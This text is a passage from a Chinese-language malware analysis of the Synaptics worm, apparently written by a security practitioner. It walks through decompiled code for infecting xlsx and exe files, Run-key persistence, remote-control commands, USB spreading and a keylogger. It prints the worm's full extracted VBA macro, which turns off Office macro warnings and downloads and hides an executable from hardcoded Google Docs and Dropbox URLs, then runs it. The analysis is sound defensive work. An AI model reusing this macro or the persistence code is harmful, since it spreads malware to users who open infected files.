    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&ExceptionList);
    Variants::__linkproc__ DispInvoke(v59, &v64, dword_479658, dword_479668);
    Variants::__linkproc__ DispInvoke(0, v59, v12, &v67);
    Variants::__linkproc__ DispInvoke(v56, &v64, dword_479690, 1);
    Variants::__linkproc__ DispInvoke(v57, v56, dword_479680, dword_479674);
    Variants::__linkproc__ DispInvoke(v58, v57, v18, ExceptionList);
    v3 = Variants::__linkproc__ VarToInteger(v58);
    Variants::__linkproc__ DispInvoke(v54, &v64, dword_479690, 1);
    Variants::__linkproc__ DispInvoke(&v55, v54, dword_4796A0, 1);
    v13 = v55;
    Variants::__linkproc__ DispInvoke(v52, &v64, dword_479690, 2);
    Variants::__linkproc__ DispInvoke(v53, v52, dword_479680, &dword_4796B0);
    Variants::__linkproc__ DispInvoke(0, v53, v10, v13);
    Variants::__linkproc__ DispInvoke(v51, &v64, dword_479690, 2);
    Variants::__linkproc__ DispInvoke(0, v51, dword_4796BC, ExceptionList);
    if ( v3 > 0 )
    {
      do
      {
        Variants::__linkproc__ DispInvoke(v48, &v64, dword_479680, dword_479674);
        Variants::__linkproc__ DispInvoke(&v49, v48, v16, byte_4796C8);
        Variants::__linkproc__ DispInvoke(v50, &v64, (char *)&loc_4796D3 + 1, v49);
        Variants::__linkproc__ DispInvoke(0, v50, v19, ExceptionList);
        Variants::__linkproc__ DispInvoke(v46, &v64, dword_479704, dword_4796F0);
        Variants::__linkproc__ DispInvoke(v47, v46, v17, dword_4796E4);
        Variants::__linkproc__ DispInvoke(0, v47, v20, ExceptionList);
        --v3;
      }
      while ( v3 );
    }
    Variants::__linkproc__ DispInvoke(v44, &v64, dword_479680, dword_479674);
    Variants::__linkproc__ DispInvoke(v45, v44, v21, ExceptionList);
    Variants::__linkproc__ VarFromInt(&pvarg);
    Variants::__linkproc__ VarCmpLE(v45, &pvarg);
    if ( v5 ^ v6 | v4 )
    {
      Variants::__linkproc__ DispInvoke(v40, &v64, dword_479680, dword_479674);
      Variants::__linkproc__ DispInvoke(&v41, v40, v22, ExceptionList);
      Variants::__linkproc__ DispInvoke(&v42, &v64, (char *)&loc_4796D3 + 1, v41);
      v14 = v42;
      Variants::__linkproc__ DispInvoke(v39, &v64, dword_479680, dword_479714);
      Variants::__linkproc__ DispInvoke(0, v39, v11, v14);
    }
    Variants::__linkproc__ DispInvoke(v37, &v64, dword_479680, dword_479674);
    Variants::__linkproc__ DispInvoke(v38, v37, v23, ExceptionList);
    Variants::__linkproc__ VarFromInt(&v36);
    unknown_libname_276(v38, &v36);
    v7 = Variants::__linkproc__ VarToInteger(v38);
    if ( v7 > 0 )
    {
      v8 = 1;
      do
      {
        Variants::__linkproc__ DispInvoke(v34, &v64, dword_479690, 1);
        Variants::__linkproc__ DispInvoke(v35, v34, dword_4796A0, v8);
        Variants::__linkproc__ DispInvoke(0, v35, dword_479614, 0);
        ++v8;
        --v7;
      }
      while ( v7 );
    }
    Variants::__linkproc__ DispInvoke(v33, &v64, dword_479690, 1);
    Variants::__linkproc__ DispInvoke(0, v33, byte_479724, ExceptionList);
    __writefsdword(0, (unsigned int)ExceptionList);
    v26 = (int *)&loc_479557;
    Sysutils::DeleteFile(v67);
    Sysutils::ChangeFileExt(v67, ".xlsm");      // 替换文件扩展名为xlsm
    CopyFile(System__AnsiString, v32[1], 0x80u);
    Sysutils::ExtractFileDir(v67);
    System::__linkproc__ LStrCat((int)v32, "\~$cache1");
    result = Sysutils::FileExists(v32[0]);
    if ( !(_BYTE)result )
    {
      Sysutils::ExtractFileDir(v67);
      System::__linkproc__ LStrCat((int)&v31, "\~$cache1");
      v25 = (void *)v31;
      System::ParamStr(0, &v30);
      result = CopyFile(v30, (int)v25, 6u);
    }
    if ( v66 )
    {
      Variants::__linkproc__ DispInvoke(0, &v64, &dword_479740, v26);
      Varhlpr::VariantClear(v29);
      return Variants::__linkproc__ OleVarFromVar(&v64, v29);
    }
  }
  else
  {
    __writefsdword(0, v27[0]);
    v28 = (int *)&loc_4795CA;
    sub_4109FC(v29);
    System::__linkproc__ LStrArrayClr(&v30, 4);
    System::__linkproc__ FinalizeArray(v33, &byte_4010B4, 28, v28);
    System::__linkproc__ LStrArrayClr(&v61, 2);
    System::__linkproc__ IntfClear(&v63);
    sub_4109FC(&v64);
    System::__linkproc__ LStrClr(&System__AnsiString);
    return System::__linkproc__ LStrClr(&v67);
  }
  return result;
}

xls感染比较简单,获取xlsx文件内容,与XLSM资源合并,生成xlsm文件,替换源文件内容。病毒在感染xlsx文件后,会生成一个xlsm宏文件,主要来分析下其中的vba代码。一开始想直接查看vba代码的内容,发现被加密了,试了网上的很多方法都不行。

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

最后发现oletools非常好用,推荐给大家,可以直接分析xlsm中的宏代码,或者-c直接提取出来。

恶意宏代码如下:

'Workbook_Open事件,主要功能是修改注册表内容,将VBA宏警告设置为禁用,关闭警告框,执行MPS
Private Sub Workbook_Open()
Dim i As Integer
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i

'修改注册表内容将VBA宏警告设置为禁用,关闭警告框
RegKeySave "HKCUSoftwareMicrosoftOffice" & Application.Version & "ExcelSecurityVBAWarnings", 1, "REG_DWORD"
RegKeySave "HKCUSoftwareMicrosoftOffice" & Application.Version & "WordSecurityVBAWarnings", 1, "REG_DWORD"

Application.DisplayAlerts = False
SheetCount = Worksheets.Count

Call MPS

ActiveWorkbook.Sheets(1).Select
SheetsChanged = False
End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
If Not SheetsChanged Then
ActiveWorkbook.Saved = True
End If
End Sub

Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
SheetsChanged = True
End Sub

Private Sub Workbook_NewSheet(ByVal Sh As Object)
SheetsChanged = True
End Sub

Private Sub Workbook_SheetActivate(ByVal Sh As Object)
If ActiveWorkbook.Sheets.Count <> SheetCount Then
SheetsChanged = True
SheetCount = ActiveWorkbook.Sheets.Count
End If
End Sub

'文件保存,根据是”保存“还是”另存为“进行不同的操作
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
Dim i As Integer
Dim AIndex As Integer
Dim FName

AIndex = ActiveWorkbook.ActiveSheet.Index

If SaveAsUI = False Then
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False

For i = 1 To ActiveWorkbook.Sheets.Count - 1
ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i
ActiveWorkbook.Save

For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False

Application.ScreenUpdating = True
Application.EnableEvents = True
Else
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False

For i = 1 To ActiveWorkbook.Sheets.Count - 1
ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i

FName = Application.GetSaveAsFilename(fileFilter:="Excel 莂l�ma Kitab�(*.xlsm), *.xlsm")
If FName <> False Then
ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
SaveAsInj ActiveWorkbook.Path
End If

For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False

Application.ScreenUpdating = True
Application.EnableEvents = True
End If
End Sub

'获取Workbook_BeforeSave事件中保存的文件的路径,检查目录下是否有Synaptics.exe文件,如果没有,将Synaptics.exe文件复制到目录下,并重命名为"~$cache1",最后设置文件属性,设置为隐藏
Sub SaveAsInj(DIR As String) '接收DIR
Dim FSO As Object
Dim FN As String

Set FSO = CreateObject("scripting.filesystemobject")
FN = Environ("ALLUSERSPROFILE") & "SynapticsSynaptics.exe" '病毒母体所在路径

If FSO.FileExists(FN) Then '检查文件是否存在
If Not FSO.FileExists(DIR & "~$cache1") Then
FileCopy FN, DIR & "~$cache1" '文件不存在则复制文件,重命名为"~$cache1"
End If
SetAttr (DIR & "~$cache1"), vbHidden + vbSystem '设置文件属性
End If
End Sub

'读取注册表
Function RegKeyRead(i_RegKey As String) As String
Dim myWS As Object

On Error Resume Next
Set myWS = CreateObject("WScript.Shell")
RegKeyRead = myWS.RegRead(i_RegKey)
End Function

'检查注册表项是否存在
Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object

On Error GoTo ErrorHandler
Set myWS = CreateObject("WScript.Shell")
myWS.RegRead i_RegKey
RegKeyExists = True
Exit Function

ErrorHandler:
RegKeyExists = False
End Function

'修改注册表
Sub RegKeySave(i_RegKey As String, _
i_Value As String, _
Optional i_Type As String = "REG_SZ")
Dim myWS As Object

Set myWS = CreateObject("WScript.Shell")
myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub

'下载执行恶意程序,首先判断病毒文件是否存在,如果存在直接执行,不存在下载并执行
Sub MPS()
Dim FSO As Object
Dim FP(1 To 3), TMP, URL(1 To 3) As String

Set FSO = CreateObject("scripting.filesystemobject")
FP(1) = ActiveWorkbook.Path & "~$cache1"
FP(2) = ActiveWorkbook.Path & "Synaptics.exe" '检查两个程序是否存在

URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
TMP = Environ("Temp") & "~$cache1.exe"

If FSO.FileExists(FP(1)) Then '检查文件是否存在
If Not FSO.FileExists(TMP) Then
FileCopy FP(1), TMP
End If
Shell TMP, vbHide
ElseIf FSO.FileExists(FP(2)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(2), TMP
End If
Shell TMP, vbHide
Else '如果文件不存在,下载运行
If FSO.FileExists(Environ("ALLUSERSPROFILE") & "SynapticsSynaptics.exe") Then
Shell Environ("ALLUSERSPROFILE") & "SynapticsSynaptics.exe", vbHide
ElseIf FSO.FileExists(Environ("WINDIR") & "System32SynapticsSynaptics.exe") Then
Shell Environ("WINDIR") & "System32SynapticsSynaptics.exe", vbHide
ElseIf Not FSO.FileExists(TMP) Then
If FDW((URL(1)), (TMP)) Then
ElseIf FDW((URL(2)), (TMP)) Then
ElseIf FDW((URL(3)), (TMP)) Then
End If
If FSO.FileExists(TMP) Then
Shell TMP, vbHide
End If
Else
Shell TMP, vbHide
End If

End If

End Sub

'从指定链接下载文件并保存到路径
Function FDW(MYU, NMA As String) As Boolean
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
If WinHttpReq Is Nothing Then
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
End If

WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
WinHttpReq.Option(6) = AllowRedirects
WinHttpReq.Open "GET", MYU, False
WinHttpReq.Send

If (WinHttpReq.Status = 200) Then
If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
FDW = True
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile (NMA)
oStream.Close
Else
FDW = False
End If
Else
FDW = False
End If
End Function

这段宏代码还是挺有意思的,主要作用就是扩大感染。

2、隐藏自身、持久化

病毒在首次运行后会创建C:ProgramDataSynaptics目录,将病毒母体存放在该目录下,并设置文件属性为隐藏。

char __usercall sub_498B40@<al>(int a1@<eax>, int a2@<ebx>)
{
  char v2; // zf
  char *v3; // eax
  int v4; // ecx
  int v5; // ecx
  int *v6; // ecx
  int v7; // ecx
  int v8; // ecx
  int v9; // ecx
  char v11; // [esp-20h] [ebp-70h]
  int v12; // [esp-1Ch] [ebp-6Ch]
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-68h] BYREF
  void *v14; // [esp-14h] [ebp-64h]
  int *v15; // [esp-10h] [ebp-60h]
  unsigned int v16[2]; // [esp-Ch] [ebp-5Ch] BYREF
  int *v17; // [esp-4h] [ebp-54h]
  int v18; // [esp+Ch] [ebp-44h] BYREF
  unsigned int v19; // [esp+10h] [ebp-40h] BYREF
  int v20; // [esp+14h] [ebp-3Ch] BYREF
  int v21; // [esp+18h] [ebp-38h] BYREF
  int v22; // [esp+1Ch] [ebp-34h] BYREF
  int v23; // [esp+20h] [ebp-30h] BYREF
  int System__AnsiString; // [esp+24h] [ebp-2Ch] BYREF
  int v25; // [esp+28h] [ebp-28h] BYREF
  int v26; // [esp+2Ch] [ebp-24h] BYREF
  int v27; // [esp+30h] [ebp-20h] BYREF
  int v28; // [esp+34h] [ebp-1Ch] BYREF
  int v29; // [esp+38h] [ebp-18h] BYREF
  int v30[2]; // [esp+3Ch] [ebp-14h] BYREF
  int v31; // [esp+44h] [ebp-Ch] BYREF
  char v32; // [esp+4Bh] [ebp-5h]
  int v33; // [esp+4Ch] [ebp-4h]
  int savedregs; // [esp+50h] [ebp+0h] BYREF

  v33 = a1;
  v17 = &savedregs;
  v16[1] = (unsigned int)&loc_498E26;
  v16[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v16);
  System::ParamStr(0, v30);                     // 获取路径
  Sysutils::ExtractFileDir(v30[0]);
  System::__linkproc__ LStrCmp(v30[1], dword_49F144);// dword_49F144为C:ProgramDataSynaptics。这里和C:ProgramDataSynaptics比较,正确执行else,不正确执行v32=0
  if ( v2 )
  {
    v32 = 0;
  }
  else
  {
    v32 = 1;
    if ( !Sysutils::DirectoryExists((const int)dword_49F144) )// 判断路径是否存在
    {
      v15 = &savedregs;
      v14 = &loc_498C00;
      ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
      __writefsdword(0, (unsigned int)&ExceptionList);
      v3 = System::__linkproc__ LStrToPChar((char *)dword_49F144);
      unknown_libname_83((int)&v29, v3);
      Sysutils::CreateDir(v29);                 // 创建C:ProgramDataSynaptics文件夹
      Sysutils::FileSetAttr((const int)dword_49F144, 6u);// 设置目录属性设置为可写
      System::__linkproc__ LStrCat3((int)&v28, &str_CreateDir____[1], dword_49F144);
      sub_4967D4(v33, v28);
      __writefsdword(0, (unsigned int)ExceptionList);
    }
    v15 = &savedregs;
    v14 = &loc_498C8A;
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&ExceptionList);
    System::ParamStr(0, &v27);
    v12 = v27;
    System::__linkproc__ LStrCatN(&v26, 3, v4, dword_49F144, &str___93[1], str_Synaptics_exe);
    CopyFile(v12, v26, 6u);                     // copy病毒文件到指定目录,设置文件属性为隐藏
    System::__linkproc__ LStrCatN(&v25, 4, v5, dword_49F144, &str___93[1], str_Synaptics_exe);
    sub_4967D4(v33, v25);
    v6 = v15;
    __writefsdword(0, (unsigned int)ExceptionList);
    v15 = &savedregs;
    v14 = &loc_498D22;
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&ExceptionList);
    System::__linkproc__ LStrCatN(&System__AnsiString, 3, v6, dword_49F144, &str___93[1], str_Synaptics_exe);
    if ( Sysutils::FileExists(System__AnsiString) )
    {
      System::__linkproc__ LStrCatN(&v23, 3, v7, dword_49F144, &str___93[1], str_Synaptics_exe);
      sub_474B04(v23, 0, str_EXEVSNX_0);
      System::__linkproc__ LStrCat3((int)&v22, &str_Update_Res____[1], str_EXEVSNX_0);
      sub_4967D4(v33, v22);
    }
    __writefsdword(0, (unsigned int)ExceptionList);
    v15 = &savedregs;
    v14 = &loc_498DFB;
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&ExceptionList);
    System::ParamStr(0, &v21);
    sub_474948(v21, &str_ProductName_0[1], &v31);
    if ( !v31 )
    {
      System::ParamStr(0, &v20);
      sub_474948(v20, &str_FileDescription_0[1], &v31);
    }
    if ( !v31 )
      System::__linkproc__ LStrLAsg(&v31, &str_Synaptics_Point[1]);
    v11 = sub_4738BC(0, a2);
    System::__linkproc__ LStrCatN(&v19, 3, v8, dword_49F144, &str___93[1], str_Synaptics_exe);
    SetRootKeyA(v11, v31, v19, 1);              // 设置注册表项
    System::__linkproc__ LStrCatN(&v18, 6, v9, dword_49F144, &str___93[1], str_Synaptics_exe);
    sub_4967D4(v33, v18);
    __writefsdword(0, (unsigned int)ExceptionList);
  }
  __writefsdword(0, v16[0]);
  v17 = (int *)&loc_498E2D;
  System::__linkproc__ LStrArrayClr(&v18, 15);
  return v32;
}

同时病毒还会修改注册表信息实现自启动。

根据a1的值判断是设置HKEY_LOCAL_MACHINE还是HKEY_CURRENT_USER,打开注册表设置自启动的路径SoftwareMicrosoftWindowsCurrentVersionRun,写入注册表。

// bad sp value at call has been detected, the output may be wrong!
int __fastcall SetRootKeyA(char a1, int a2, unsigned int a3, char a4)
{
  unsigned int v6[2]; // [esp-18h] [ebp-28h] BYREF
  void **v7; // [esp-10h] [ebp-20h]
  _DWORD v8[4]; // [esp-Ch] [ebp-1Ch] BYREF
  System::TObject *v9; // [esp+4h] [ebp-Ch]
  unsigned int v10; // [esp+8h] [ebp-8h] BYREF
  int System__AnsiString; // [esp+Ch] [ebp-4h]
  void *savedregs; // [esp+10h] [ebp+0h] BYREF

  v10 = a3;
  System__AnsiString = a2;
  System::__linkproc__ LStrAddRef(a2);
  System::__linkproc__ LStrAddRef(v10);
  v8[2] = &savedregs;
  v8[1] = &loc_47365D;
  v8[0] = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v8);
  v7 = &savedregs;
  v6[1] = (unsigned int)&loc_47363B;
  v6[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v6);
  v9 = (System::TObject *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_431D40);
  if ( a1 )
    Registry::TRegistry::SetRootKey(v9, 0x80000002);// HKEY_LOCAL_MACHINE
  else
    Registry::TRegistry::SetRootKey(v9, 0x80000001);// HKEY_CURRENT_USER
  *((_BYTE *)v9 + 12) = 0;
  Registry::TRegistry::OpenKey(v9, (const int)&str_Software_Micros[1], 0);// 打开注册表SoftwareMicrosoftWindowsCurrentVersionRun
  if ( a4 )
    Registry::TRegistry::WriteString(v9, System__AnsiString, v10);// 写入注册表
  else
    Registry::TRegistry::DeleteValue(v9, System__AnsiString);
  Registry::TRegistry::CloseKey(v9);
  __writefsdword(0, v6[0]);
  v7 = (void **)&loc_473642;
  System::TObject::Free(v9);
  __writefsdword(0, v10);
  savedregs = &loc_473664;
  return System::__linkproc__ LStrArrayClr(&v10, 2);
}
Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

3、远程控制

分析病毒远控代码可以发现,病毒可以进行命令执行、屏幕截图、磁盘和目录遍历、下载删除文件等功能。

int __fastcall RemoteControl(int a1)
{
  int v2; // esi
  char v3; // zf
  _EXCEPTION_REGISTRATION_RECORD *v4; // edx
  _EXCEPTION_REGISTRATION_RECORD *v6; // [esp-14h] [ebp-28h] BYREF
  int *v7; // [esp-10h] [ebp-24h]
  int ExceptionList; // [esp-Ch] [ebp-20h] BYREF
  void *v9; // [esp-8h] [ebp-1Ch]
  int *v10; // [esp-4h] [ebp-18h]
  void *v11; // [esp+0h] [ebp-14h]
  DWORD ThreadId; // [esp+Ch] [ebp-8h] BYREF
  int v13; // [esp+10h] [ebp-4h] BYREF
  int savedregs; // [esp+14h] [ebp+0h] BYREF

  v13 = 0;
  v10 = &savedregs;
  v9 = &loc_495D23;
  ExceptionList = (int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&ExceptionList);
  if ( (*(unsigned __int8 (__fastcall **)(Idstream::TIdStream *, _DWORD))(*(_DWORD *)dword_49F114 + 84))(
         dword_49F114,
         *(_DWORD *)dword_49F114) )
  {
    unknown_libname_533(dword_49F134, 0);
    (*(void (__fastcall **)(Idstream::TIdStream *, _strings *))(*(_DWORD *)dword_49F114 + 124))(
      dword_49F114,
      &str_CheckMe[1]);
    ExceptionList = -1;
    v7 = &v13;
    v2 = *(_DWORD *)dword_49F114;
    (*(void (__fastcall **)(Idstream::TIdStream *, _strings *, intintint *))(*(_DWORD *)dword_49F114 + 112))(
      dword_49F114,
      &str___79[1],
      -1,
      -1,
      &v13);
    ExceptionList = (int)&savedregs;
    v7 = (int *)&loc_495CD3;
    v6 = NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)&v6);
    System::__linkproc__ LStrCmp(v13, &str_GetCMDAccess[1]);// 命令执行
    if ( v3 )
      sub_495DD0(a1, v2);
    System::__linkproc__ LStrCmp(v13, &str_GetScreenImage[1]);// 屏幕截图
    if ( v3 )
      sub_495F14(a1);
    System::__linkproc__ LStrCmp(v13, &str_ListDisk[1]);// 磁盘列表
    if ( v3 )
      sub_495FDC(a1);
    System::__linkproc__ LStrCmp(v13, &str_ListDir[1]);// 目录列表
    if ( v3 )
      sub_4960C8(a1, v2);
    System::__linkproc__ LStrCmp(v13, &str_DownloadFile[1]);// 下载文件
    if ( v3 )
      sub_496254(a1);
    System::__linkproc__ LStrCmp(v13, &str_DeleteFile[1]);// 删除文件
    if ( v3 )
      sub_496400(a1);
    v4 = v6;
    __writefsdword(0, (unsigned int)v6);
    LOBYTE(v4) = 1;
    unknown_libname_533(dword_49F134, v4);
  }
  else
  {
    unknown_libname_533(dword_49F134, 0);
    CreateThread_0(00, StartAddress, 00, &ThreadId);
  }
  __writefsdword(0, (unsigned int)v9);
  v11 = &loc_495D2A;
  return System::__linkproc__ LStrClr(&v13);
}
Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

4、USB设备感染

同时病毒还会监听是否有USB设备接入,从而感染USB设备内的文件扩大传播。

int __userpurge OpDrive@<eax>(
        int a1@<eax>,
        int System::AnsiString@<ecx>,
        int a3@<ebx>,
        int a4@<edi>,
        int a5@<esi>,
        int a6)
{
  __int32 v9; // eax
  void *v11; // [esp-30h] [ebp-40h]
  bool v12; // [esp-2Ch] [ebp-3Ch]
  bool v13; // [esp-28h] [ebp-38h]
  bool v14; // [esp-28h] [ebp-38h]
  unsigned int v15[3]; // [esp-24h] [ebp-34h] BYREF
  unsigned int v16[2]; // [esp-18h] [ebp-28h] BYREF
  int *v17; // [esp-10h] [ebp-20h]
  int v18; // [esp-Ch] [ebp-1Ch]
  int v19; // [esp-8h] [ebp-18h]
  int v20; // [esp-4h] [ebp-14h]
  void *v21; // [esp+0h] [ebp-10h] BYREF
  int v22; // [esp+4h] [ebp-Ch] BYREF
  void *v23; // [esp+8h] [ebp-8h]
  int v24; // [esp+Ch] [ebp-4h] BYREF
  int savedregs; // [esp+10h] [ebp+0h] BYREF

  v24 = 0;
  v23 = 0;
  v22 = 0;
  v21 = 0;
  v20 = a3;
  v19 = a5;
  v18 = a4;
  v17 = &savedregs;
  v16[1] = (unsigned int)&loc_497174;
  v16[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v16);
  v15[2] = (unsigned int)&savedregs;
  v15[1] = (unsigned int)&loc_49714F;
  v15[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v15);
  Sysutils::ExtractFileDrive(System::AnsiString);// 获取驱动器,也就是盘符
  System::__linkproc__ LStrCat3((int)&v24, &str_Drive_Added____[1], v23);
  sub_4967D4(a1, v24);
  v13 = Sysutils::StrToBool(dword_49F1D0);
  v12 = Sysutils::StrToBool(dword_49F1D4);
  Sysutils::ExtractFileDrive(System::AnsiString);
  System::__linkproc__ LStrCat((int)&v22, &str___86[1]);
  v11 = (void *)v22;
  LOBYTE(v9) = Sysutils::StrToBool(dword_49F1CC);
  sub_4975D8(a1, v11, v9, v13, v12);            // 感染
  v14 = Sysutils::StrToBool(dword_49F1B8);
  Sysutils::ExtractFileDrive(System::AnsiString);
  System::__linkproc__ LStrCat((int)&v21, &str___86[1]);
  sub_496A40(a1, v21, 0, a1, a4, System::AnsiString, v14);   //感染
  __writefsdword(0, v15[0]);
  __writefsdword(0, v16[0]);
  v17 = (int *)&loc_49717B;
  return System::__linkproc__ LStrArrayClr(&v21, 4);
}

感染USB设备中的文件

int __userpurge OpDriveExeXls@<eax>(
        int a1@<eax>,
        int System::AnsiString@<ecx>,
        int a3@<ebx>,
        int a4@<edi>,
        int a5@<esi>,
        int a6)
{
  char v9; // zf
  unsigned int v11[3]; // [esp-24h] [ebp-40h] BYREF
  unsigned int v12[2]; // [esp-18h] [ebp-34h] BYREF
  int *v13; // [esp-10h] [ebp-2Ch]
  int v14; // [esp-Ch] [ebp-28h]
  int v15; // [esp-8h] [ebp-24h]
  int v16; // [esp-4h] [ebp-20h]
  int v17; // [esp+0h] [ebp-1Ch] BYREF
  int v18; // [esp+4h] [ebp-18h] BYREF
  int v19; // [esp+8h] [ebp-14h]
  int v20; // [esp+Ch] [ebp-10h]
  int v21; // [esp+10h] [ebp-Ch] BYREF
  int v22; // [esp+14h] [ebp-8h] BYREF
  int v23; // [esp+18h] [ebp-4h]
  int savedregs; // [esp+1Ch] [ebp+0h] BYREF

  v23 = 0;
  v22 = 0;
  v21 = 0;
  v20 = 0;
  v19 = 0;
  v18 = 0;
  v17 = 0;
  v16 = a3;
  v15 = a5;
  v14 = a4;
  v13 = &savedregs;
  v12[1] = (unsigned int)&loc_4969C5;
  v12[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v12);
  v11[2] = (unsigned int)&savedregs;
  v11[1] = (unsigned int)&loc_4969A0;
  v11[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)v11);
  Sysutils::ExtractFileExt(System::AnsiString);
  System::__linkproc__ LStrCmp(v23, &str__exe_0[1]);// 比较后缀名,判断是否为exe文件
  if ( v9 && !unknown_libname_89(&str____0[1], System::AnsiString) && (unsigned __int8)Sysutils::StrToBool(dword_49F1D0) )
  {
    System::__linkproc__ LStrCat3((int)&v22, &str_Injecting____[1], (void *)System::AnsiString);
    sub_4967D4(a1, v22);
    sub_477940(System::AnsiString, (int)str_EXEVSNX_0, off_49D6BC, dword_49F14C, 1, (int)&v21);// 感染exe
    sub_4967D4(a1, v21);
  }
  else
  {
    Sysutils::ExtractFileExt(System::AnsiString);
    System::__linkproc__ LStrCmp(v20, &str__xlsx[1]);// 比较后缀名,判断是否为xlsx文件
    if ( v9 )
    {
      Sysutils::ExtractFileName(System::AnsiString);
      if ( !Sysutils::AnsiPos(&str___[1], v19) )
      {
        if ( (unsigned __int8)Sysutils::StrToBool(dword_49F1D4) )
        {
          System::__linkproc__ LStrCat3((int)&v18, &str_Injecting____[1], (void *)System::AnsiString);
          sub_4967D4(a1, v18);
          sub_47983C(System::AnsiString);       // 感染xlsx
          System::__linkproc__ LStrCat3((int)&v17, &str_Completed_____2[1], (void *)System::AnsiString);
          sub_4967D4(a1, v17);
        }
      }
    }
  }
  __writefsdword(0, v11[0]);
  __writefsdword(0, v12[0]);
  v13 = (int *)&loc_4969CC;
  return System::__linkproc__ LStrArrayClr(&v17, 7);
}

USB传播过程:

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

我看其他的分析有说程序会生成autorun.inf 文件,这个我查了一下作用是允许在双击磁盘时自动运行指定的某个文件。

但是因为出现过多的使用autorun.inf 文件进行传播木马,微软在在2011年2月8日发布的安全公告KB967940中进行了更新,已经无法自动运行了。

5、键盘监听

病毒释放KBHKS资源中的键盘监听DLL文件,加载此DLL文件,使用HookOn函数进行键盘监听。

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析
int __fastcall KeyboardMonitor(int a1, int a2, int a3)
{
  char *v6; // eax
  char *v7; // eax
  int v8; // edx
  __int64 v9; // rax
  HANDLE FileMappingA; // eax
  int v11; // edx
  __int64 v12; // rax
  _DWORD *v13; // eax
  HANDLE v14; // eax
  int v15; // edx
  __int64 v16; // rax
  _DWORD *v17; // ebx
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-1Ch] BYREF
  void *v20; // [esp-14h] [ebp-18h]
  int *v21; // [esp-10h] [ebp-14h]
  int v22; // [esp+0h] [ebp-4h] BYREF
  int savedregs; // [esp+4h] [ebp+0h] BYREF

  v22 = 0;
  v21 = &savedregs;
  v20 = &loc_476697;
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
  __writefsdword(0, (unsigned int)&ExceptionList);
  if ( (_BYTE)a2 )
  {
    sub_47671C(a1, a2, dword_49EC58, v21, v20, ExceptionList);// 释放监听DLL文件
    v6 = System::__linkproc__ LStrToPChar((char *)dword_49EC5C);
    *(_DWORD *)(a1 + 64) = LoadLibraryA(v6);    // 加载监听DLL文件
    if ( !*(_DWORD *)(a1 + 64) )                // 加载失败后的处理
    {
      System::__linkproc__ LStrCat3((int)&v22, &str_X[1], dword_49EC58);
      sub_47671C(a1, a2, v22, v21, v20, ExceptionList);
      v7 = System::__linkproc__ LStrToPChar((char *)dword_49EC5C);
      *(_DWORD *)(a1 + 64) = LoadLibraryA(v7);
    }
    *(_DWORD *)(a1 + 68) = GetProcAddress_0(*(HMODULE *)(a1 + 64), "HookOn");
    *(_DWORD *)(a1 + 72) = GetProcAddress_0(*(HMODULE *)(a1 + 64), "HookOff");
